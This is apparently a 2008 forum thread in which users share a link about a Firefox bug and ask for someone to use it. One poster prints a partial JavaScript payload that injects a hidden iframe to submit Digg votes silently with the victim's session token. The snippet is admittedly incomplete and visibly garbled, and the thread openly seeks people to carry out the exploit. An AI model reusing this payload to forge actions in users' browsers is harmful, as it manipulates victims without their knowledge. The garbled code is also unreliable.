Guys check this out:
hxxp://firefoxbugs.blogspot.com/2008/10/exploit-digg-with-firefox-just-like.html
Does anyone know how to use this exploit? Please share with us. We need an expert to try this.
hxxp://firefoxbugs.blogspot.com/2008/10/exploit-digg-with-firefox-just-like.html
I digged a little deeper into this mozilla bug and came up with the exact script or close replica of the one that he is using to cause select machines to to auto-digg a story. The user would have no clue, unless they check their logs to see.
The code looked something like this. I will not post it in it's entirety for fear of being sued.
var DiggCode =
'Diggcode.Request('
+ '"/diginfull",'
+ '{'
+ 'method:"post",'
+ 'parameters:"id=6830157&row=1&type=s&pagetype=4&digcheck="'
+ '+this.contentWindow.document.forms.f1.digcheck.value,'
+ 'onSuccesswindow.opener?window.close:null)'
+ '}'
+');';
document.body.innerHTML +=
+ 'u003Ciframe height=0 '
+ 'src='/tools/diggthis.php?u=http%3A//www.mozilla.org/log/2008/04/asaph-1-0''
+ 'onload=''+DiggCode+mrbabyman''\u003E\u003C/iframe\u003E';
Does anyone know how to use this exploit? Please share with us. We need an expert to try this.
